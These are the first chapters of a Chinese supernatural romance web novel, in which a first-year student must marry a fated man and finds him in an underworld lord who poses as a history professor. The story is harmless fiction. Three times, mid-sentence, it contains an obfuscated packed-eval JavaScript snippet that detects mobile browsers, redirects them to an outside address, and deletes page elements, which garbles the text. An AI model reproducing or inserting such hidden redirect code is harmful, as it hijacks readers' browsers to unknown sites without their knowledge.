《一不小心和鬼结婚了》 1. 命定之夫 “生祀天命,死醉当期 百世焚灵,千魂颂礼 万鬼叩喜,良缘合订 朝不忘,暮不泣 青丝始,白头祭 同心同行,白骨相依……” — “新元,新元,你醒醒……” 在梦中自己的骨血快要被烈火灼烧为灰烬之前,阮新元从有他外婆哼唱着歌谣的梦魇里反复挣扎着逃脱,强绕在鼻尖香火纸钱焚后辛辣的烟熏味终于散尽。 他艰难地睁开一只像被鬼怪镇压了几百年的眼皮,轻皱着眉,迷迷糊糊分辨出了怼在他面前三张脸的主人——他的三位室友。 阮新元的脑子空白了三秒,在其中一个人焦急地口水差点要喷到他脸上时,他突然回神,敏捷地直起身子,用力揉搓了一把脸。 差点口水喷人脸上的方又知放下心,直起身体退开,眼睛微瞪,“新元,你可算是醒了,我们三个人叫了你足足十分钟。” “要不是看你呼吸正常,我们仨就要体验人生当中第一次坐救护车了。”蒋其风靠在一边,端详着自己手里咬过一口后没顾上吃、咬开处氧化的苹果,帮苹果转了个身,“嘎嘣”咬下一大口。 坐回原位的严康良一本正经开口:“我不是第一次,救护车上只能塞下两个陪同的。” 方又知挠挠头,“那我可以打车。” “地铁划算,就是慢点。”蒋其风应和。 “stop,我只是做噩梦,”阮新元阻止了三人的胡言乱语,摸了摸自己有些烫的脸,喝了口水,润了润干燥的喉咙,把冰凉的水杯贴在自己的面颊,“这个第一次你们应该在我这体验不到了。” 蒋其风笑了两声,边啃苹果边提醒阮新元,“元哥,刚刚是你电话一直在振,没把你搞醒我们才叫你的,现在倒是没振了,你记得回个电话。” 阮新元这才把注意力转移到自己的手机上,他把倒扣在桌面上的手机解锁,看到三通未接微信视频通话的记录,都是他妈打来的。 三人见人醒了也就各干各的去了,阮新元把座椅身后的帘子拉上,戴上耳机,重新给他妈打了回去。 不过一秒,就被接了起来。 “哟,儿子,你被人打了,脸上怎么红了一块儿?”阮林福忧心忡忡,满脸皱纹都堆在了一块儿,浑厚的声音从手机屏幕另一头传来。 阮新元一下子又看到三张凑在一块聚精会神盯着自己看的脸,再次受到一波冲击,“爸你凑太近了,外婆你也在啊,线上家庭会议啊这么热闹……” “咳咳,”他紧接着用手点了点自己左脸红了的那块,解释:“刚刚在睡觉,不小心压到了而已。” 何湫瞟了眼屏幕,边绣团扇边开口:“当然是关于你结婚的事情了,人命关天,事关重大,你小子睡眠质量这么好呢,现在才接电话。” “前段时间军训太累了嘛。”阮新元用手撑着脸,乖巧地看着屏幕眨了眨漂亮的眼,笑了一下,嘴边的酒窝能晃荡出蜜来。 然后把视线投向在吃地瓜、一头红卷短发时髦得不行的自家外婆,主动开口道:“外婆啊,关于结婚的这事,我不是也在努力找那个对象吗,但是同时符合那三个条件的男人,实在是太难找了,你们也知道,这天大地大的,大海捞针呢……” 阮新元摊了摊手,无奈摇头。 花槿放下吃地瓜的勺,从手边拿出了个罗盘,还有三张符纸,上面画着阮新元看不懂的红色图案。 “所以你外婆我又救你来了!眼看时间所剩无几,看黄历今早适合请神,我破格又重新帮你算了一卦,这次我已经算到你未婚夫所在之处的范围了!” 阮新元微微睁大眼睛,内心毫无波澜,面上却一副特别惊讶的样子,“真假外婆,我未来老公在哪?” 花槿哼哼一声,把三张符纸依次摊开,再把陈旧掉漆的罗盘放在符纸之上,神神秘秘地说:“距离你不超过十公里的地方。” “就在你现在所在的江城啊,天助你也啊元!”阮林福声音激动,胸腔起伏着,又挤到了镜头前。 “阮林福你起开,体型这么大影响儿子看我们了,”何湫单手扒拉了下身边人,看向阮新元,“这次已经缩小不少寻找范围了,比之前好找多了,要不是你外婆说最好得你自己找到,我们高低也得过来帮你找。” “那确实不用,”阮新元戳了戳自己酒窝,语气坚定,“我努力,争取早点娶到那个男人!” 花槿慢悠悠喝了口水,神情变得严肃了些,“元啊,只剩四个月不到了,这事是真的火烧眉毛了,不过我请神后还算到你这劫应该能过,具体看你造化。” 阮新元看花槿神色有些疲惫,料想自家外婆都七十多了,再请神算命估计耗费了不少心力,马上劝人去休息,“我明白外婆,你们好好休息,我呢……再想办法找找,明天我刚好要去乔斯明他们学校逛逛,就在我们学校隔壁,也算是十公里以内。” 又简单聊了几句,阮新元挂掉电话,坐在原地发呆,轻叹口气。 在他十六岁那年,他被告知自己天生玄子命,三岁历大劫差点丧命,医院都回天乏术,靠他外婆请神念咒花了七天七夜才救回,这样还不够,还必须要在他十八岁结束之前找到符合条件的男人结婚,才可以真正活下去。 十五年前,同性恋都还没合法呢,要不是他外婆真把他救回来了,他爸妈估计也觉得他外婆疯了。 但事实摆在他们面前,阮新元又是独生子,他们必然不敢冒险不从所谓的天命,这几年一直在找符合条件的男人,一直无果。 但阮新元还是觉得匪夷所思,听说这件事后大受震撼,作为坚定的唯物主义青年,他压根不信这些。 试问谁能相信身体健全平时连感冒都少有的人十八岁不找特定的人结婚就会死? 百度百科算命八字都没记录这种对别人姻缘有掌控欲的奇怪命格呢! 再加上,那三个条件分开来倒也不算难找,不过是脖子后面有黑色的小痣、和他同样在大年初一出生、还要比他大十岁,但这三样合起来,简直是难如登天。 更别说还需要是个男的。 阮新元长这么大都没喜欢过人,压根不知道自己到底喜欢男的还是女的,要和自己不喜欢的人结婚,想想就愁人。 不过为了不让他爸妈和外婆多操心,产生无谓的争吵,反正也找不到这样的人,干脆拖过十八岁就行了,到时候他安然无恙,自然不用找人结婚了。 什么玄子命也就迎刃而解了。 想到此,阮新元摘下耳机,顺手拿起手边水杯,发现里面空空如也,他站起身准备去倒点水,一拉开帘子,就看到外面三个人神情有些古怪地盯着他,一副欲言又止的样子。 阮新元意识到什么,顿住脚步,捏紧水杯,眼神惶然。 方又知最憋不住事,“新元,我们才大一,你爸妈……这就催婚了?” “你还是gay啊?” 蒋其风立马咳嗽了两声,方又知自觉说错话了,马上噤声。 严康良适时打圆场,“元哥,我们不是故意听你和你家人电话内容的,就是你刚刚说话有点响,而且我们不歧视同性恋,何况同性结婚早两年也都合法了。” 方又知忏悔般地附和点头。 “哈哈……那敢情好……” 阮新元耳朵都红了,又不知道该从何解释什么不结婚就会死的事情,只好硬着头皮扯谎,“那什么……我们家族传统,男人最好得十八岁结婚,我确实喜欢男的,这不是还没遇到好的,所以我爸妈催得紧。” “噢~”方又知了然,“那你说说看需要符合哪三个条件,我身边也有几个gay朋友,条件都不错,可以帮你介绍。” 刚说完,方又知就开始热心肠地翻微信好友列表。 阮新元没推脱,面露羞涩地胡诌三个条件,“年收入一千万以上、身高一米八五以上长得帅、学历博士以上。” “砰——” 蒋其风狼狈地捡起摔到地上的新苹果,“哎哟军训完有点肌无力,那啥,元哥你……要求还挺高?” 方又知表情呆滞了一秒,停下了滑动的手,扶了扶眼镜,镇定道:“新元,你看我差点忘了,你长这么好看性格又这么好,确实该配条件好的,我身边这些本科生就不掺和了……” 清脆的键盘声再次响起,严康良语气认真地提出一个务实的建议,“元哥,我觉得你可以在相亲网站寻觅一下,我表哥的对象就是在这个网站上找到的。” 阮新元看着严康良电脑屏幕上写着的“姻缘千里来相会相亲网”几个大字,脸不红心不跳回绝:“没事儿,姻缘天注定,正缘看机遇,反正就算今年没找着,也不会死。” 他对着三人笑吟吟地一眨眼,然后拿着水杯走出寝室门。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119905|164244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“嗐!看来我们经管的院草要英年早婚咯……”方又知望着阮新元的背影默默感慨。 * 第二天下午一点十分,B大。 午睡时间被迫砍半的阮新元出现在东一大楼阶梯教室的门口,他顺手压了下酒红色鸭舌帽帽檐,探头往教室内瞟了一眼,里面已经乌泱泱地坐了不少人。 阮新元单肩背着书包踏入教室,一下子就吸引了一部分人的注意力,身边响起悉悉索索的讨论声,他没怎么在意,走到还有空位的第三排中间坐下,拿出待会儿准备装模作样的本子和笔。 其实他也不想坐那么前面,只是后排都被坐满了。 准备就绪后他拿出手机对着桌面拍了一张图,发给自己初中就认识的死党乔斯明。 【多财多福金元宝:好了,我到了[玫瑰]】 【小明同学:元!多亏有你!过几天请你吃饭么么!不说了我女神来了,我约会了!】 阮新元刚退出和乔斯明的聊天框,微信弹出新消息,他点开名为“助力元[爱心]结婚砍一刀找人难度”的群聊。 【世界上最美丽的湫女士:怎么样,到B大没有?】 【经常减肥失败的福大人:儿子进展如何?】 接下来一条是他外婆发来的语音,他点击转文字。 【救命恩人小花:找不到也别着急,可以多在B大逛逛,说不定就有呢,元啊多留心观察!】 阮新元失笑,刚打出几个字,发现四周诡异地一齐安静了下来。 他疑惑地抬头,顺着众人的目光看向门外。 正值九月中旬,夏天的尾巴冗长,太阳光依旧霸道贯穿四周的玻璃,热烈地簇拥在大理石地面上,一个身形优越、侧颜几乎完美的男人逆着光稳步走进教室。 第三排,让阮新元能够很好地看清男人因光而落在脸颊上形成蝴蝶样式阴影的睫毛,还有高挺的鼻梁。 对方淡淡扫了眼讲台下的众人,站定后摆弄着手里的文件,稍稍低垂的眉眼英俊,正脸可以看清五官的每一寸都恰当好处,举手投足风度翩翩,气质也是一等一的出众。 不是那种冲击力强、锋利的帅,而是让人有一刻不自觉屏住呼吸的惊艳俊俏。 阮新元愣神了好几秒,在周遭讨论声再次响起的时候回神。 不知道为什么,这个男人给他一种莫名的熟悉感,明明他不记得自己见过,像这样长相的人,他见过就不会没有印象才对…… 讲台上的男人没有开口,整理好投影设备后,拿起一支粉笔,转身在黑板上“嗒嗒嗒”写下几个板正大气的字。 阮新元在扫过对方背影的时候顿住了,他没有错过男人脖子后面正中间的痣。 “我靠,这个戚教授真的好帅……真人比流传的那几张照片还要好看,而且他才28岁啊。” “这个我不得不承认确实帅得惊人,而且看着情绪很稳定不像会凶人的样子,课没白枪!” “对啊,我学姐说他讲课也不错,这次赚了……” 二十八岁…… 阮新元听身后男男女女的讨论声眼神闪烁,他咽了口唾沫,又眨了眨眼,确认自己没有看错那颗痣,是真实存在的。 真的存在同时符合三个条件的男人吗? 那……还差一个条件。 他鬼使神差地打开乔斯明之前为了让他看热闹给他发的B大论坛链接,在搜索框打下“戚教授”三个字,果然弹出来不少帖子。 他往下随意地滑动,在一个带有HOT标志的帖子处停下,帖子发表时间在半年前。 【妈呀!今天去班主任办公室却没想到听到他们在谈论要给戚教授送什么生日礼物!】 [——自然是大家都喜欢的新来的戚寻戚教授啦,本人是马院学生,去交表格的时候无意间听到的,没想到戚教授生日在大年初一哎,是个好日子,难怪他们要提前给他准备礼物,毕竟那时候大家都放假了。 听他们讨论,估计是准备众筹送大牌钢笔。] 阮新元颤颤巍巍地退出论坛网页。 “叮——” 上课铃声响起,学生们自觉噤声。 阮新元心脏快速跳动着,不可置信地震颤着睫毛,耳边在此刻响起一道好听低沉的声音。 “同学们下午好,初次见面,自我介绍一下,我叫戚寻,很荣幸担任你们这堂课的老师。” 2. 戚寻。 “很高兴各位能够选择古代史这门课。”戚寻放下粉笔,从容不迫地面向台下两百多位学生,嘴角扬起一个恰好的弧度。 阮新元思绪混乱,他本能觉得戚寻的出现不可思议,但脑海却又主动清晰地刻入戚寻低沉悦耳的声音。 人多就总有人憋不住,没过多久,台下开始窃窃私语,戚寻不在意这些小噪音,他不经意抬眼一扫,台下又乖乖噤声了,效果堪比第二次打上课铃。 “正式上课之前,先点个名,我事先在学习通上告知过大家我课上的点名规矩,不需要扫码签到,但口头点名现场两百多位同学我不可能每个人都点一遍,那样效率太低,所以,”戚寻拿起一张名单和一支黑笔,“我抽查,点到名字的同学,举手喊到。” 阮新元在下面又打开手机翻看了一遍B大的官网还有论坛,再次确认信息无误后,他微微抬眼盯着黑板上的“戚寻”二字,始终心神不宁。 这个叫戚寻的B大教授,真的对上了那三个条件。 不仅如此,他出现的地方,也正是他外婆请神重算得出结果的距他十公里以内。 阮新元的唯物思想遭到了冲击。 哪怕有很多人来请他外婆算过命说他外婆能知天命,他也始终不怎么信这些。 昨天他还信誓旦旦的觉得不会出现所谓命定之人呢…… 那要怎么办? 可是他确实身体无恙,说不定是瞎猫碰死耗子凑巧呢? 真有那么巧的事情吗? 阮新元有些头疼地咬了咬笔盖,感觉自己要精神分裂了。 “下一位,土木241乔斯明。” 一秒过去,没人喊到。 戚寻扫了眼台下,声音没什么起伏地又喊了一遍,“土木的乔斯明同学来了吗?” 怎么有人喊乔斯明?这小子不都和女神约会去了吗。 阮新元持续盯着黑板发呆。 “土木241的乔斯明同学没来吗?”低沉好听的声音第三次重复念出这个名字。 此刻的阮新元脑子有点冒烟,思考缓慢,又顿了一秒,他猛然反应过来什么。 “到。” 在戚寻准备在表格名字后面空格打叉的前一秒,他停住手,顺着那道清脆声音传来的方向看去。 看到了一张像被酒红色鸭舌帽染上红色的脸,面庞上双眸明亮,精致漂亮的无可挑剔,眉目间还添几分伶俐的英气。 阮新元脸颊发着烫,少有的有些窘迫,此时四周投射过来的视线让他的耳朵也开始变红。 但在戚寻确认他身份之前,他还不能放下举着的手。 他们的视线在空中相触,时间像有一瞬凝固,不远的距离让阮新元能够确认戚寻的眼神也落在他的脸上。 他的脸在持续发烫,眼睛很快微垂,没有再与台上之人对视。 不过因为走神失误的阮新元心跳很快,不如往日般游刃有余的细心,未曾注意到对方震颤的瞳孔和轻微发着抖执笔的那只手。 “我以为大家都会对自己名字很敏感,看来有的同学可能慢半拍,”戚寻盯着阮新元淡淡笑了一下,“希望不是因为‘张冠李戴’。” 台下的学生一个个都是人精,听懂了戚寻故意调侃的言外之意,没忍住笑起来。 “好,下一位。”戚寻一开口,台下笑声停止。 涨红着一张脸的阮新元终于可以放下手,像挣脱了某种束缚。 他后知后觉戚寻刚才和他对视的那一两秒带给他的熟悉感更明显了一点。 但他确实明明白白没有见过这个人。 一节课在混乱放飞的思绪里度过得很快,阮新元本来就不是来听课的,再加上戚寻的出现和点名遗留的尴尬,整节课他都低着头装模作样在笔记本上画简笔画。 一节课下来他在一页纸上画了二十四个不同神情的金元宝。 等到下课铃响,他回神微微仰头,发觉台上讲课的人不知道什么时候脱下了灰色风衣外套,内搭白衬衫的两边袖子被他随意地向上卷了几厘米,露出手腕至一半小臂处明显的青筋。 “叮——” 下课铃响了,阮新元彻底松了口气,他静悄悄又快速地收拾纸笔放进书包,就等着台上的人发号施令下课走人。 戚寻一向不拖堂,不管课讲到了哪个部分都能及时停下,他放下投影控制笔,“今天的课就先上到这里,大家有什么问题可以在学习通私信我,我看到就会解答,最后祝大家周末愉快。” 不管这堂课的老师有多美貌如天仙,看过了新鲜感自然会下降,什么都不能阻挡大学生们赶着下课的心。 阮新元把书包背起,跟着边上的人站起来排队走到过道处,他刚准备走上台阶,就被人拍了下肩膀叫住了。 “帅哥。” 阮新元下意识转过身,一个竖着高马尾笑容灿烂的女生大方开口,声音清脆,直奔主题,“你穿薄荷绿很好看,能不能加个微信?” 在讲台上重新穿上灰色风衣外套的人放慢了收拾文件的动作,他的余光一寸又一寸地描摹着某个人的神情。 阮新元习惯了这类场面,就算周围还有人在也不会觉得不自在,他回了个礼貌地笑,酒窝在脸绽开,“不好意思,我有对象了。” 这是阮新元惯用拒绝人的话术,非常好用。 他的声音不重不轻,刚好让周围有意围观的人都听了个一清二楚,本来和高马尾女生抱着同样心思的人这下也泄了气。 站在阮新元对面的女生面露可惜,但并没有为难,留下个潇洒的背影离开。 阮新元在转身前停顿了一秒,逆着向上走的人群往讲台中心看去。 戚寻已经重新穿上了外套,他低垂着头,神色如常,不紧不慢地收拾东西,并没有分出丝毫眼神给他们这些离开的学生。 但……阮新元不知道是不是自己的错觉,他总觉得刚刚有人在紧紧盯着他,那种感觉并不如火般滚烫灼人,反而有种拥住他腰部令他呼吸加重的阴凉感。 这种感觉有点诡异,他却觉得微妙,算不上讨厌,不过大概率是他的错觉。 阮新元利落地走出教室,并不知晓本来安安静静躺卧在讲台桌面上的粉笔,被一只骨节分明的大手骤然分尸,半截滚落到了地面。 明明那只手,前几分钟还温柔地握着它在黑板上书写板正漂亮的字迹。 * 阮新元在回学校地铁上头有些昏昏沉沉,他活动了几下脖子,估计自己是午睡没睡够、刚刚那一个半小时的课还都低着头的原因。 等他回去刚推开寝室的门,方又知就热情地围了上来,“新元你回来了,正好我们商量晚上出去搓一顿,这可是我们寝室正式第一顿聚餐。” “元哥你应该晚上没别的安排吧?”蒋其风边削苹果皮边问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119906|164244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阮新元自然没什么异议,“没事,选好要吃什么了吗?” 方又知从蒋其风手里接过削好的苹果,“其风找到一家,就我们学校一公里外那个商场刚开业的火锅,大众点评上看环境特别好,四个人也可以坐包厢还没有低消。” 阮新元放下书包点点头,“好,午觉没睡饱,我再补一个小时觉,你们要走了叫我就行。” 严康良一手敲键盘一手比了个“ok”的手势。 刚说完要睡觉,阮新元把帘子一拉,趴在桌上没多久就睡着了。 他觉得自己最近睡眠质量还不错,基本上是一沾枕头就睡,只要别做噩梦就行。 不知坠入梦乡多久,熟悉的灼烧感毫无预兆的再次袭来。 而这一次梦里没有外婆哼唱的歌谣分散他的注意力,被烈火包围的疼痛感比上一次的梦还要真实。 随之而来的……还有脊背五脏六腑钻心的痛。 阮新元拧着眉,在疼痛里强迫自己睁开眼,他的额角不停地出着汗,心口难以言喻的疼痛让他嘶哑着声音发出微弱的求救:“呃,救……救命……” “救……命……” 下一秒,帘子被猛得拉开,光线射进来,方又知着急忙慌地抓住阮新元的手臂,“新元,新元你没事吧?” 一旁的严康良看着汗如雨下表情痛苦万分的阮新元表情严肃,直接拿出手机打电话,“我叫救护车了!我们三个帮忙把人背到一楼去!” 蒋其风肌肉多、力气大,在两人的帮助下把已经痛昏过去的阮新元背了起来,以最快的速度,从四楼往寝室楼下冲去。 * 南阎地府,祀天殿。 “殿下,已经查过名为‘乔斯明’此人的所有轮回转世生平的身份信息,没有任何异常。”钟叩没什么表情,毕恭毕敬地把簿子递给坐在上座眼神漠然气质阴森的男人。 男人轻轻翻动着手中的资料簿,一字一句扫过上面的所有记录。 约莫一分钟后,他合上簿子,声音薄凉,“我确定我今天见到的就是他……他和从前长得一模一样,所以我第一眼就认出来了,那个气质也不会错。” “九百多年了,他真的重新出现了……” 钟叩低垂着头,一动不动,没有应和。 “所以,他真的不叫这个名字,我没猜错,他是帮这个姓乔的来代课的,”戚寻冷冷地扬起嘴角,笑不达眼底,“你先下去,把危袭喊上来。” “是。”钟叩退下。 没过一会儿,危袭走进了大殿内,朝座上男人鞠了一躬,“殿下。” “跟踪一下这个叫乔斯明的男人,查一下‘他’如今叫什么名字,一天内给我答复。”戚寻把资料簿还有一幅人物肖像画抛给危袭。 危袭隔着两米距离精准接过两样东西,默契接收指令,“收到。” 他刚想退下,突然又被戚寻叫住了。 “等等。”戚寻稍微坐正了点身子。 危袭重新弯腰,“殿下请吩咐。” “司命阁杂综室有没有记录第三者成功上位的凡人琐事,亦或者什么成功方法。”戚寻淡淡问道。 大殿内安静了五秒。 危袭嘴角抽搐,“呃,殿下,要不你直接……到人间家里连上wifi上网搜?现在互联网上什么人都有。” 戚寻:“……” 他厌厌地摆摆手,让人退下。 3. 噩梦催命 入夜,江城人民医院。 阮新元睁开迷蒙的眼,视线渐渐明晰。 “天呢,元哥,你终于醒了!”蒋其风看到病床上的人睁开眼睛,一下子从凳子上坐起来,变得精神抖擞。 严康良也松口气,站起身,“我去喊医生。” 阮新元脑内空白,还没反应过来,消毒水的味道刺激到了他的神经,让他清醒了一点,他微微抬起胸膛,迟缓地回想起钻心的疼痛。 自己又做了之前的噩梦,这次不仅是醒不过来,还心脏抽痛,给他痛晕过去了,然后就是自己求救…… “元哥,你现在感觉怎么样?”蒋其风给人倒了杯温开水,把床摇升起来。 阮新元接过水杯,慢慢喝了一口,润了润干得起皮的嘴唇,哑声回应:“我现在没事。” 严康良跟着一位女医生和一位女护士走进病房,蒋其风见状自觉退开到一边。 医生检查了下机器各个指标,问道:“病人还有什么不舒服的地方吗?” 阮新元摇摇头,“没有。” 那种心脏像被撕裂一样的感觉已经消失了,此刻他回忆起来,都怀疑是不是自己的错觉。 一边的护士把机器从阮新元身上撤掉,医生拧着眉,语气有些凝重:“病人的身体从昏迷到现在,各项数据都在正常数值范围内,包括血液化验报告和CT影像结果都显示你的心脏没有任何问题,你只是昏睡了三个小时。” “那这是……什么原因啊?”蒋其风挠挠头,“他在寝室里脸色发白还浑身冒汗捂着心口,别把我们吓死,还以为得抢救了。” “排除生理上的原因,也有可能是心理压迫神经造成的,回去记得好好休息,年轻人不要熬夜,饮食要规律,保持好心情,如果再发生这种情况,还是需要及时就医,”女医生在文件夹上写着什么,“待会儿就可以在急救中心办理出院了。” “好的。”严康良点头。 医生和护士前脚刚走,后脚方又知拎着一大袋快餐走进病房,香味飘了满屋。 他看到阮新元已经醒了,马上把东西放下,急切地问:“新元你醒了,还有不舒服吗,医生来检查过了吗,怎么说?” 严康良把医生刚刚说的话重复了一遍,方又知皱起眉,“啊……可新元你不是我们四个人里面作息最规律那个吗,平时还打羽毛球什么的,你最近心情不好吗,什么事情压力大也是可以和我们说的嘛。” 阮新元喝完水不久就恢复了力气,感觉自己现在和平时没差别,表情真诚,“没有啊,我心情挺好的。” 方又知不知道想到了什么,推了推眼镜,认真思考道:“不会是因为你父母催婚催太紧给你造成隐形压力了吧!” 阮新元差点一口水喷出来,“不会不会,我对这个事情没什么……” 他脑内突然闪过一张看过一眼就让人难以忘却的脸,声音越说越小。 “反正医院检查结果没问题就好,总比查出来是什么大病好,检查过了也可以放下心。”严康良走到饭盒边上,准备打开。 “新元,你应该也饿了吧,我们吃完再回去。”方又知从严康良手里接过一个饭盒,递给阮新元。 阮新元接过后想到什么,笑了一下,“看来flag还是不能乱立,这下真让你们体验到救护车的感受了,你们谁打的车?” “十万火急,其风把你背下来的,我和他一起的,”方又知又把筷子递过去,“这辈子没跑这么快过。” 严康良淡淡道:“毕竟我坐过一次了,要把机会留给没尝试过的人。” “谢谢你们啊。”阮新元拿着筷子双手合十,发自内心感谢。 毕竟他们四个人算起来也没认识多久。 “这有什么,”蒋其风摆摆手,坐在一边跟着吃起来,“哦对了元哥,我们专业的辅导员来找我们了解过你的情况了,费用什么的也是他先垫付的,主要是医生当时也说你啥事没有,只是昏睡,所以他没有直接通知你父母,让我们和你说,你自己决定告不告知。” “好,到时候我把钱转给他。”阮新元乖乖点头。 一个小时后,四人打车回到了学校。 一顿折腾下来,大家也没什么心思遗憾泡汤的聚会,只能万幸阮新元身体没啥大事,这天晚上都早早上床休息了。 而阮新元躺在床上,罕见地失眠了。 他睁开眼睛看天花板,眼神失焦,却无论如何都睡不着。 其一是有些害怕自己再做先前的那个不知所谓的噩梦,最主要也是畏惧那种心脏的疼痛再次重演。 更重要的是……明明他当时都已经痛晕了过去,结果医院的检查结果说他什么毛病也没有,这太不对劲了…… 难道真的是他外婆所谓的玄子命在催命吗? 三岁时那场大病他根本没有任何印象,但现在的疼痛是真实的、噩梦是频发的,更奇怪的是,那个所谓的命定之人,也已经出现了。 他倒也庆幸自己今天是虚惊一场,不然真怕他父母和外婆不管三七二十一跑到江城来帮他一起掘地三尺找人。 阮新元躺在床上把手轻轻放在自己的心口,感受着心脏稳定的跳动。 不知过了多久,他的眼皮慢慢闭合,沉沉睡去。 * “等等,元,你是说,你五天前直接痛昏去了医院,然后这几天几乎每天心脏都会不定时抽痛,伴随噩梦和耳鸣眼花症状,但是去三甲医院做了全身检查也查不出原因???”乔斯明越说声音越响,眼睛瞪得跟电灯泡一样大。 “嘘——”阮新元看了眼火锅店四周,虽然氛围吵闹,他还是示意乔斯明小点声。 乔斯明放下筷子,抓了把自己认真抓好的发型,皱起眉,“这不可能啊,太诡异了……你要不要去我家开的私立医院再检查检查?你之前怎么没和我说!我前几天来你们学校和你打羽毛球的时候你也不说。” “那天也没想到之后还会这样,”阮新元喝了口凉茶,叹气,“不瞒你说,我连心理医生都去看过了,医生还和我说,我除了对于这个病因想得多以外,心理状况挺健康的。” 乔斯明本来还没完全吃饱,但这下是担心得完全吃不下了,自己好朋友出了这种诡异的事情,他自然也跟着焦虑。 “嗯,那倒也是,你的心理状态还是我身边人里最好的,”他沉重点头,“那……怎么办?” 阮新元欲言又止,“其实……” “其实什么?”乔斯明吊着颗心。 “或许还有个办法……”阮新元把凉茶一饮而尽,看向乔斯明的眼神坚定,像是下定了某种决心。 乔斯明挑眉,心怦怦跳,“什么办法?” * “南阎,我和你说我的时间很宝贵,有什么事情一定要让我千里迢迢从北边跑过来?”宋祈大步流星走进祀天殿,看向座上又在垂眸看画像的男人。 戚寻见到人,轻轻放下手中的画像,从台上稳步走下,“先坐吧。” 宋祈环顾了一圈大殿,空荡荡的只有自己和戚寻两个人,疑惑道:“东煞和西灾那俩人没来?” 戚寻倒了两杯不停冒气泡的黑色液体,一杯递给了宋祈,“只叫了你。” 宋祈坐下喝了一口,“你怎么又喝可乐,少喝点吧,可乐杀精。” 戚寻放下茶杯,在桌上磕出声响,凉凉道:“都死了几百年了,还会被这种东西影响?” 宋祈短促地笑了一声,“所以,你找我到底什么事?” “我终于找到他了,现在是我入职单位隔壁学校的学生。”戚寻回忆起那天看到危袭呈上来的文报,对方现如今的名字,叫阮新元。 新元。 一年的开始。 几百年前,他们都在新年的伊始降临人间。 几百年后,他心心念念之人依旧在这一天重新降生。 宋祈顿住了手,看到戚寻的眼神没有如同往常般阴凉,而是添上了几分人间的温度。 这让他也不禁回想起百年前轰轰烈烈的那桩事,最后一改方才吊儿郎当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119907|164244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的姿态,轻叹口气,“所以你找我是想帮你做什么?” “你是要找后枝灵吗,她现在在我那闭关修炼,不过有关什么魂魄重塑降生人间的事情她……” “怎么追人?”戚寻打断了他。 宋祈:“?” 戚寻微眯起眼,眼神又带上森冷,语气怀疑,“你在人间追人不是如鱼得水,听说最高战绩三天换了一个对象,还男女通吃。” “我去啊,我说你怎么就叫了我,感情是让我千里迢迢来当你追妻的僚机?”宋祈表情发狠了,用手指敲敲桌面,“不是哥们,你怎么知道他现在在人间没对象,喜欢男的还是喜欢女的?” 戚寻眼神更冷了,想到那天阮新元拒绝别人搭讪时说的话,“前几天让危袭一块儿查了,没见到他和别人举止亲密。” 宋祈歪嘴一笑,“呵哼,那也有可能是网恋或者异地恋,对象不在身边,而且你怎么知道他喜欢男的还是女的?” 他重复了第二遍。 本以为能气到戚寻,扳回一局,下一秒听到对面的人说。 “那怎么当小三?” “反正是鬼,他现如今要是喜欢女的我也可以塑女身去人间。” 宋祈:“?” 宋祈这下真的没想到,平时在地府一张脸冷得能全自动让寝殿降温的人,居然能问出这种厚脸皮的话,“哇……真是脸都不要了。” “不过看在你脸都不要的份上,我帮你想想,”宋祈琢磨了一会儿。 “首先,鉴于你现在还不知道他性取向,所以你得想办法打听,然后在别的地方和他制造偶遇,刷刷存在感,不过呢这种事情不能操之过急,你需要慢慢来,等到确定了他性取向,第二次见面你可以努努力加微信什么的试试,反正主打一个厚脸皮吧。” “哦对了,他现在几岁?”他随口问了一句。 戚寻对答如流:“十八。” “哇……”宋祈啧啧称奇,“真是脸都不要了,老东西。” 戚寻冷眼看他。 宋祈腿一抖,接着出谋划策,“既然十八岁嘛那就……” * “乔斯明,如果我待会儿被打了,你负全责。” 阮新元看着自己怀里鲜艳欲滴的九十九朵玫瑰,感觉像拿着块烫手的山芋,内心从未如此焦灼。 乔斯明表情严肃,语气认真,“你命都不知道什么时候还在呢,别在意这些了,先冲波猛的再说!他不答应就当刷存在感嘛,实在不行最后就金钱交易,反正没什么比活命更重要,面子什么的都是虚的!” 阮新元扶额,认命地点点头。 其实也是他不想真就突然死了,这连续几天的疼痛,让他真怕自己哪天就看不到明天的太阳了,所以答应了乔斯明的“馊主意”。 本来他其实准备先从加微信开始的,再循序渐进看看有没有机会。 乔斯明硬说,等到那个时候他尸体都凉了,不管三七二十一,明天就求婚。 还说戚寻长得这么帅,左右真结婚了也不亏。 阮新元混乱的脑海中有个声音在说这确实有点道理,最后去花店买了束当季最漂亮开得最鲜艳的玫瑰花。 现在看着花,又觉得心虚。 